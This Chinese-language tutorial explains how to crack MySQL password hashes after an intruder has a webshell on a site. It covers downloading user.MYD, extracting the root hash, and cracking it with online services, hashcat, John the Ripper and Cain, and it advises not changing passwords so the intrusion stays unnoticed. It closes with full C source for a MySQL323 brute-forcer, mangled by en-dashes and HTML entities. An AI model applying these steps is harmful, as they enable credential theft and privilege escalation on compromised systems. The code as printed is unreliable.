MySQL数据库密码破解

研究MySQL数据库的加解密方式，在网络攻防过程中具有重要的意义；试想一旦获取了网站一定的权限后，如果能够获取MySQL中保存用户数据，通过解密后，即可通过正常途径来访问数据库；一方面可以直接操作数据库中的数据，另一方面可以用来提升权限。本文对目前常见的MySQL密码破解方式进行了研究和讨论。

本文作者：simeon

1.MySQL数据库密码破解

MySQL数据库用户密码跟其它数据库用户密码一样，在应用系统代码中都是以明文出现的，在获取文件读取权限后即可直接从数据库连接文件中读取，例如asp代码中的conn.asp数据库连接文件，在该文件中一般都包含有数据库类型，物理位置，用户名和密码等信息；而在MySQL中即使获取了某一个用户的数据库用户（root用户除外）的密码，也仅仅只能操作某一个用户的数据库中的数据。

在实际攻防过程中，在获取Webshell的情况下，是可以直下载MySQL数据库中保留用户的user.MYD文件，该文件中保存的是MySQL数据库中所有用户对应的数据库密码，只要能够破解这些密码那么就可以正大光明的操作这些数据，虽然网上有很多修改MySQL数据库用户密码的方法，却不可取，因为修改用户密码的事情很容易被人发现！

1.1MYSQL加密方式

MYSQL数据库的认证密码有两种方式，MYSQL 4.1版本之前是MYSQL323加密，MYSQL 4.1和之后的版本都是MYSQLSHA1加密，MYSQL数据库中自带Old_Password（str）和Password（str）函数,它们均可以在MYSQL数据库里进行查询，前者是MYSQL323加密，后者是MYSQLSHA1方式加密。

（1）以MYSQL323方式加密

SELECTOld_Password('bbs.antian365.com');

查询结果MYSQL323= 10c886615b135b38

（2）以MYSQLSHA1方式加密

SELECTPassword('bbs.antian365.com');

查询结果MYSQLSHA1= *A2EBAE36132928537ADA8E6D1F7C5C5886713CC2

    执行结果如图1所示，MYSQL323加密中生成的是16位字符串，而在MYSQLSHA1中生存的是41位字符串，其中*是不加入实际的密码运算中，通过观察在很多用户中都携带了“*”，在实际破解过程中去掉“*”，也就是说MYSQLSHA1加密的密码的实际位数是40位。

图1在MYSQL数据库中查询同一密码的不同SHA值

 

1.2MYSQL数据库文件结构

1.MYSQL数据库文件类型

  MYSQL数据库文件共有“frm”、“MYD”“和MYI”三种文件，“.frm”是描述表结构的文件，“.MYD”是表的数据文件，“.MYI”是表数据文件中任何索引的数据树。一般是单独存在一个文件夹中，默认是在路径“C:Program FilesMYSQLMYSQL Server 5.0data”下。

2.MYSQL数据库用户密码文件

   在MYSQL数据库中所有设置默认都保存在“C:Program FilesMYSQLMYSQL Server 5.0dataMYSQL”中，也就是安装程序的data目录下，如图2所示，有关用户一共有三个文件即user.frm、user.MYD和user.MYI，MYSQL数据库用户密码都保存在user.MYD文件中，包括root用户和其他用户的密码。

图2 MYSQL数据库用户密码文件

 

1.3获取MySQL密码哈希值

1.获取MYSQL数据库用户密码加密字符串

   使用UltraEdit-32编辑器直接打开user.MYD文件，打开后使用二进制模式进行查看，如图3所示，可以看到在root用户后面是一串字符串，选中这些字符串将其复制到记事本中，这些字符串即为用户加密值，即506D1427F6F61696B4501445C90624897266DAE3。注意：

   （1）root后面的“*”不要复制到字符串中。

   （2）在有些情况下需要往后面看看，否则得到的不是完整的MYSQLSHA1密码，总之其正确的密码位数是40位。

  （3）如果是在John theRipper password cracker中进行密码破解，需要带“*”！

获取加密的字符串

 

1.4网站在线密码破解

1.ww.cmd5.com破解。将获取的MySQL值放在cmd5.com网站中进行查询，MySQL密码破解一般都是收费的，成功破解一次0.1元。

2.somd5.com破解。Somd5.com是后面出现的一个免费破解网站，每次破解需要手工选择图形码进行破解，速度快，效果好，只是每次只能破解一个，而且破解一次后需要重新输入验证码。

1.5 hashcat破解hashcat支持很多种破解算法，免费开源软件，官方网站https://hashcat.net/hashcat/，破解命令：

hashcat64.exe -m 200 myql.hashpass.dict //破解MySQL323类型

hashcat64.exe -m 300 myql.hashpass.dict //破解MySQL4.1/MySQL5类型

1.6 John the Ripper密码破解John the Ripper下载地址：http://www.openwall.com/john/h/john179w2.zip，John theRipper除了能够破解linux外，还能破解多种格式的密码，在kali下测试破解MySQL密码，如图4所示。

Echo*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt

John –format =MySQL-sha1 hashes.txt

john –list=formats | grep MySQL //查看支持MySQL密码破解的算法

图4测试MySQL密码破解

1.7使用Cain破解Mysql密码

1.将MYSQL用户密码字符串加入到Cain破解列表

使用Cain & Abel 来破解MYSQL数据库用户密码，Cain & Abel是一个可以破解屏保、PWL密码、共享密码、缓存口令、远程共享口令、SMB口令、支持VNC口令解码、Cisco Type-7口令解码、Base64口令解码、SQL Server 7.0/2000口令解码、Remote Desktop口令解码、Access Database口令解码、Cisco PIX Firewall口令解码、Cisco MD5解码、NTLM Session Security口令解码、IKE Aggressive Mode Pre-Shared Keys口令解码、Dialup口令解码、远程桌面口令解码等综合工具，还可以远程破解，可以挂字典以及暴力破解，其sniffer功能极其强大，几乎可以明文捕获一切帐号口令，包括FTP、HTTP、IMAP、POP3、SMB、TELNET、VNC、TDS、SMTP、MSKERB5-PREAUTH、MSN、RADIUS-KEYS、RADIUS-USERS、ICQ、IKE Aggressive Mode Pre-Shared Keys authentications等。

    Cain & Abel 目前最新版本是4.9.56，软件下载地址：http://www.oxid.it/downloads/ca_setup.exe。下载Cain & Abel 后，直接安装，然后运行它，在Cain & Abel 主界面中单击“Cracker”标签，然后将用户密码的加密字符串“506D1427F6F61696B4501445C90624897266DAE3”加入到MYSQLHashes破解列表中，如图5所示，单击“Add tolist”，如图6所示，将字符串复制到Hash输入框中。Username可以任意输入。

图5使用Cain破解MYSQL密码主界面

图6添加MYSQL Hashes

2.使用字典进行破解

如图7所示，选中刚才添加的需要破解的字符串，然后选择“Dictionary Attack（字典破解）”，在弹出的菜单中选择“MYSQL SHA1 Hashes”方式进行破解，该方式针对的是MYSQL4.1后续版本，对于MYSQL4.1以前版本则选择“MYSQL v3.23 Hashes”进行破解。

图7选择破解方式

 

选择DictionaryAttack（字典破解）”后会出现一个窗口，主要用于选择字典，如图8所示，在Dictionary下方右键单击，可以添加一个或者多个字典文件，字典选择完毕后可以在“Options（选项）”中进行选择，然后单击“Start”按钮进行破解。

图8MYSQL字典破解设置

说明：

在“Options（选项）”中一共有8种方式即：

（1）字符串首字母大写

（2）字符串反转

（3）双倍字符串

（4）字符串全部小写

（5）字符串全部大写

（6）在字符串中加入数字

（7）在每个字符串中进行大写轮换

（8）在字符串中加入2个数字

破解成功后Cain会给出一些提示信息，如下所示：

Plaintext of user <none> is databasepassword

Attack stopped!

1 of 1 hashes cracked

表明加密的密码是“databasepassword”。回到Cain破解主窗口中后，破解的密码值会自动加入到“Password”列中，如图9所示，便于查看。

 

图9破解密码成功

 

3.破解探讨

（1）字典破解跟字典强度有关

     单击“开始”-“程序”-“MYSQL”-“MYSQL Server5.0”-“MYSQL Command Line Client”打开MYSQL Command LineClient，输入密码后，输入以下代码重新设置一个新密码：

UseMYSQL

updateuser set password=password("1977-05-05") where user="root";flushprivileges;

本试验中将原来的密码修改为“1977-05-05”，其结果如图10所示。

图10修改MYSQL用户密码

 

再次使用UltraEdit-32软件重新打开“C:ProgramFilesMYSQLMYSQL Server 5.0dataMYSQLuser.MYD”获取其新的密码字符串“B046BBAF61FE3BB6F60CA99AF39F5C2702F00D12”，然后重新选择一个字典，在本例中选择生成的生日字典，如图11，图12所示，仅仅选择小写字符串进行破解，很快就获取了破解结果。实际结果表明使用Cain来破解MYSQL密码，如果是采用字典破解，那么破解效果跟字典强度有关，只要破解的密码在字典中，则一定能够破解。

图11再次破解MYSQL密码

 

图12修改MYSQL密码后再次进行破解MYSQL密码

（2）使用彩虹表进行破解

在Cain中还提供彩虹表破解MYSQL，在破解方式中选择“CryptanalysisAttack”-“MYSQL SHA1 Hashes via RainbowTables”即可，如图13，图14所示，在实际测试过程中由于网络上提供的sha彩虹表格式是RTI，而Cain中使用的是RT，我将下载的所有彩虹表中文件后缀由RTI修改为RT，然后进行破解，提示信息显示不成功，应该是彩虹表的格式不一样，Cain中只承认它自己提供的。

图13使用彩虹表破解方式

图14使用彩虹表进行破解

 

（3）Hash计算器

在Cain中提供了各种Hashes的计算，在主界面中单击计算机图标按钮，即可弹出Hashes计算器，在“Text tohash”中输入需要转换的原始值，例如输入“12345678”，单击“Calculate”进行计算，如图15所示，可以看到14种Hashes值。

图15计算Hashes值

 

（4）生成彩虹表

在Cain的安装目录C:ProgramFilesCainWinrtgen中直接运行Winrtgen，如图16所示，该工具为彩虹表生成器，可以很方便的生成各种类型的彩虹表值。

图16 Winrtgen彩虹表生成工具

 

（5）设置彩虹表

在图17中单击“Add Table”在“RainbowTable properties”中的Hash中选择“MYSQLsha1”，然后可以根据实际情况分别设置“Min Len”、“Max Len”、“Index”、“Chain len”、“Chain Count”以及“N oftables”的值，一般情况仅仅需要设置“Min Len”、“Max Len”以及“N oftables”的值。“N of tables”主要用来测试Hashes生成的完整度，输入不同的值，会在Table properties中显示百分比，通过尝试来确定一共需要生成多少个表，然后单击“Benchmark”进行时间估算，如图17所示，单击“OK”完成彩虹表生成设置。

图17设置彩虹表

在彩虹表生成器中，如图18单击“Start”开始生成彩虹表，在Status中会显示生成的大小和进度。

图18开始生成彩虹表

由于彩虹表生成的时间比较漫长，在网络上也没有搜索到以rt结尾的MYSQL Sha1hashes表，因此本次破解主要以字典破解为主，彩虹表的破解将在全部生成后进行，在服务器权限设置不太严格的情况下，通过Webshell完全可以将MYSQL下的user.MYD文件下载到本地，只要破解了root用户的密码，然后借助Webshell可以做很多事情，本文通过介绍了在线网站、John the Ripper、hashcat解、cain来破解MYSQL密码，对于设计不太复杂的MYSQL密码，破解还是较为容易的。

 

  （6）对于16位的MySQL密码（MYSQL323加密算法）还有一种快速破解方式，编译以下程序，直接进行破解，可以破解8位以下数字、字符等密码。

使用方法：

./ MySQLfast6294b50f67eda209

破解效果如图19所示。

/* This program is public domain. Share and enjoy.

* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast

* $ MySQLfast 6294b50f67eda209

* Hash: 6294b50f67eda209

*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */

#define MIN_CHAR 33

#define MAX_CHAR 126

/* Maximum length of password */

#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)

{

  int i, c;

  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;

  u32 newstate1, newstate2, newstate3;

  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];

  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];

  i = -1;

  sum = 7;

  state1_ary[0] = 1345345333L;

  state2_ary[0] = 0x12345671L;

  while (1) {

    while (i < stop) {

      i++;

      pass_ary[i] = MIN_CHAR;

      step_ary[i] = (state1_ary[i] & 0x3f) + sum;

      xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);

      sum += MIN_CHAR;

      state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];

      state2_ary[i+1] = state2_ary[i]

        + ((state2_ary[i] << 8) ^ state1_ary[i+1]);

    }

    state1 = state1_ary[i+1];

    state2 = state2_ary[i+1];

    step = (state1 & 0x3f) + sum;

    xor1 = step*MIN_CHAR + (state1 << 8);

    xor2 = (state2 << 8) ^ state1;

    for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {

      newstate2 = state2 + (xor1 ^ xor2);

      newstate1 = state1 ^ xor1;

      newstate3 = (targ2 – newstate2) ^ (newstate2 << 8);

      div = (newstate1 & 0x3f) + sum + c;

      diff = ((newstate3 ^ newstate1) – (newstate1 << 8)) & MASK;

      if (diff % div != 0) continue;

      d = diff / div;

      if (d < MIN_CHAR || d > MAX_CHAR) continue;

      div = (newstate3 & 0x3f) + sum + c + d;

      diff = ((targ1 ^ newstate3) – (newstate3 << 8)) & MASK;

      if (diff % div != 0) continue;

      e = diff / div;

      if (e < MIN_CHAR || e > MAX_CHAR) continue;

      pass_ary[i+1] = c;

      pass_ary[i+2] = d;

      pass_ary[i+3] = e;

      return 1;

    }

    while (i >= 0 && pass_ary[i] >= MAX_CHAR) {

      sum -= MAX_CHAR;

      i–;

    }

    if (i < 0) break;

    pass_ary[i]++;

    xor_ary[i] += step_ary[i];

    sum++;

    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];

    state2_ary[i+1] = state2_ary[i]

      + ((state2_ary[i] << 8) ^ state1_ary[i+1]);

  }

  return 0;

}

void crack(char *hash)

{

  int i, len;

  u32 targ1, targ2, targ3;

  int pass[MAX_LEN];

  if ( sscanf(hash, &quot;%8lx%lx&quot;, &targ1, &targ2) != 2 ) {

    printf(&quot;Invalid password hash: %s &quot;, hash);

    return;

  }

  printf(&quot;Hash: %08lx%08lx &quot;, targ1, targ2);

  targ3 = targ2 – targ1;

  targ3 = targ2 – ((targ3 << 8) ^ targ1);

  targ3 = targ2 – ((targ3 << 8) ^ targ1);

  targ3 = targ2 – ((targ3 << 8) ^ targ1);

  for (len = 3; len <= MAX_LEN; len++) {

    printf(&quot;Trying length %d &quot;, len);

    if ( crack0(len-4, targ1, targ3, pass) ) {

      printf(&quot;Found pass: &quot;);

      for (i = 0; i < len; i++)

        putchar(pass[i]);

      putchar(&#39; &#39;);

      break;

    }

  }

  if (len > MAX_LEN)

    printf(&quot;Pass not found &quot;);

}

int main(int argc, char *argv[])

{

  int i;

  if (argc <= 1)

    printf(&quot;usage: %s hash &quot;, argv[0]);

  for (i = 1; i < argc; i++)

    crack(argv[i]);

  return 0;

}